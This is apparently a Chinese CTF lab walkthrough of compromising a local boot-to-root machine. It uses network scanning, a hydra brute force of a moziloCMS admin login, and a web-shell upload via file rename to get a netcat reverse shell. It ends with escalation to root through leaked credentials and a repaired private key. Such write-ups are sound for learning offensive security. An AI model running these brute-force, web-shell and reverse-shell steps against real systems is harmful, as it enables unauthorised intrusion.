news 2026/5/26 4:34:28

【打靶日记】群内靶机Tzh

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【打靶日记】群内靶机Tzh

主机发现

┌──(root㉿xhh)-[~/Desktop/xhh/QQ/tzh]└─# arp-scan -I eth1 -l192.168.56.145 08:00:27:54:b9:37 PCS Systemtechnik GmbH

主机地址为:192.168.56.145

端口扫描

┌──(root㉿xhh)-[~/Desktop/xhh/QQ/tzh]└─# nmap -p- 192.168.56.145PORT STATE SERVICE22/tcpopenssh80/tcpopenhttp

80探测

发现是给什么VisionX,貌似没什么用

目录枚举

┌──(root㉿xhh)-[~/Desktop/xhh/QQ/tzh]└─# dirsearch -u http://192.168.56.145[00:40:07]200- 3MB - /backup.zip Task Completed

有个backup.zip,大概是什么的备份文件

代码审计

下载backup.zip

┌──(root㉿xhh)-[~/Desktop/xhh/QQ/tzh]└─# lsbackup.zip mozilo3.0-3.0.1 reports

解压出一个moziloCMS,那估计部署了

┌──(root㉿xhh)-[~/…/xhh/QQ/tzh/mozilo3.0-3.0.1]└─# lsREADME.md admin docu gpl.txt install.php layouts liesmich.txt readme.txt update.php SECURITY.md cms galerien index.php kategorien lgpl.txt plugins sitemap_addon.xml

所有解压出来的文件/文件夹

聚焦install.php

┌──(root㉿xhh)-[~/…/xhh/QQ/tzh/mozilo3.0-3.0.1]└─# cat install.php | grep "pass"(......)if(strlen($_POST['password1'])<8or!preg_match("/[0-9]/",$_POST['password1'])or!preg_match("/[a-z]/",$_POST['password1'])or!preg_match("/[A-Z]/",$_POST['password1'])

得到密码规则,不少于8位、至少一个数字、大写字母、小写字母

爆破后台管理员密码

获取爆破密码本

┌──(root㉿xhh)-[~/…/xhh/QQ/tzh/mozilo3.0-3.0.1]└─# grep -P '^(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,}$' /rockyou.txt > ./pass.txt┌──(root㉿xhh)-[~/…/xhh/QQ/tzh/mozilo3.0-3.0.1]└─# cat pass.txt | wc -l343091

通过正则匹配出符合要求的密码在rockyou.txt中

爆破

┌──(root㉿xhh)-[~/…/xhh/QQ/tzh/mozilo3.0-3.0.1]└─# hydra -l admin -P pass.txt 192.168.56.145 http-post-form "/mozilo/admin/index.php:username=^USER^&password=^PASS^&login=1:S=302" -vV[80][http-post-form]host:192.168.56.145 login: admin password: Admin123

拿到后台管理员密码

反弹shell

找找这个CMS有没有什么漏洞

找到一个版本一致的RCE

Steps to Reproduce: 1. Login as admin 2. Go to the Files session by the left menu 3. Create a .jpg file with it content having a php web shell 4. Upload the file to the server via the upload icon and save 5. Rename the file to .php on the web server and save 6. Access webshell via this endpoint : http://127.0.0.1/mozilo3.0-3.0.1/kategorien/Willkommen/dateien/revshell.php

按步骤走,获取反弹shell

┌──(root㉿xhh)-[~/…/xhh/QQ/tzh/mozilo3.0-3.0.1]└─# nc -lvnp 6666listening on[any]6666...idconnect to[192.168.56.247]from(UNKNOWN)[192.168.56.145]45738uid=33(www-data)gid=33(www-data)groups=33(www-data)

成功获得webshell

提权

welcome提权

翻找文件,在admin目录下的配置文件config.php中找到welcome用户的凭证

www-data@Lzh:/var/www/html/mozilo/admin$catconfig.php|grep"welcome"// welcome:3e73d572ba005bb3c02107b2e2fc16f8
welcome@Lzh:~$iduid=1000(welcome)gid=1000(welcome)groups=1000(welcome)

成功获得welcome用户权限

user.txt
welcome@Lzh:~$catuser.txt flag{user-9bd9f512a064d385d8b5594fea0f2fc4}

root提权

welcome@Lzh:~$ls-al total28drwx------2welcome welcome4096Apr122025.drwxr-xr-x3root root4096Apr112025..lrwxrwxrwx1root root9Apr112025.bash_history ->/dev/null -rw-r--r--1welcome welcome220Apr112025.bash_logout -rw-r--r--1welcome welcome3526Apr112025.bashrc -rw-r--r--1root root2590Apr122025id_rsa -rw-r--r--1welcome welcome807Apr112025.profile -rw-r--r--1welcome welcome44Apr122025user.txt lrwxrwxrwx1root root9Apr122025.viminfo ->/dev/null

发现本地有个root用户的id_rsa文件

welcome@Lzh:~$catid_rsa -----BEGIN OPENSSH PRIVATE KEY----- ???lbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn(....)-----END OPENSSH PRIVATE KEY-----

发现第一行的前三位是问号

因为前面的为版本标识“openssh-key-v1”编码的结果,所以前三位是b3B

welcome@Lzh:~$chmod600idwelcome@Lzh:~$sshroot@127.0.0.1 -iidroot@Lzh:~# iduid=0(root)gid=0(root)groups=0(root)

成功获得root权限

root.txt
root@Lzh:~# cat root.txtflag{root-b32e83d3432bcfe475fd6b6f58f1f559}
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/26 1:44:08

突破性技术:KTransformers框架下多模态大模型优化实战

突破性技术&#xff1a;KTransformers框架下多模态大模型优化实战 【免费下载链接】ktransformers A Flexible Framework for Experiencing Cutting-edge LLM Inference Optimizations 项目地址: https://gitcode.com/gh_mirrors/ktr/ktransformers KTransformers作为业…

作者头像 李华
网站建设 2026/5/25 20:15:27

腾讯开源Hunyuan-7B:256K超长上下文+快慢思考模式重塑行业应用

腾讯开源Hunyuan-7B&#xff1a;256K超长上下文快慢思考模式重塑行业应用 【免费下载链接】Hunyuan-7B-Pretrain 腾讯开源大语言模型Hunyuan-7B-Pretrain&#xff0c;支持256K超长上下文&#xff0c;融合快慢思考模式&#xff0c;具备强大推理能力。采用GQA优化推理效率&#x…

作者头像 李华
网站建设 2026/5/26 4:22:24

全栈数字治理解决方案:基于SpringBoot的智慧社区与乡村振兴大数据AI平台

一、项目概述智慧社区数字基座是一套深度融合物联网感知、大数据分析与人工智能决策的综合性社区治理与服务平台。平台以“数据智能”为核心驱动力&#xff0c;旨在通过构建社区级数字孪生体&#xff0c;全面提升基层治理的精细化水平、公共服务的便捷化程度与社区生活的安全宜…

作者头像 李华
网站建设 2026/5/24 21:11:06

ComfyUI-MultiGPU完全部署手册:突破显存限制的终极解决方案

ComfyUI-MultiGPU完全部署手册&#xff1a;突破显存限制的终极解决方案 【免费下载链接】ComfyUI-MultiGPU This custom_node for ComfyUI adds one-click "Virtual VRAM" for any GGUF UNet and CLIP loader, managing the offload of layers to DRAM or VRAM to ma…

作者头像 李华
网站建设 2026/5/25 7:56:10

水下场景3D重建技术突破:SeaThru-NeRF如何应对光线折射与散射挑战

作为一名技术侦探&#xff0c;今天我要带大家探讨水下3D重建领域最棘手的两个技术难题——光线折射导致的模型失真和水体散射造成的图像模糊。你是否曾发现&#xff0c;用传统NeRF方法处理水下照片时&#xff0c;重建出来的模型总是比例失调、纹理模糊&#xff1f;这背后隐藏着…

作者头像 李华
网站建设 2026/5/25 7:27:28

6、深入探索Flex与Bison:从程序实现到语法解析

深入探索Flex与Bison:从程序实现到语法解析 1. 大型Flex程序示例与练习 在实际编程中,我们可能会遇到需要处理特定目录下文件的情况。以下是一个大型Flex程序示例,其主要功能是包含当前程序特定的同一目录下的文件,同时跳过其他目录的库文件。 int main(argc, argv) in…

作者头像 李华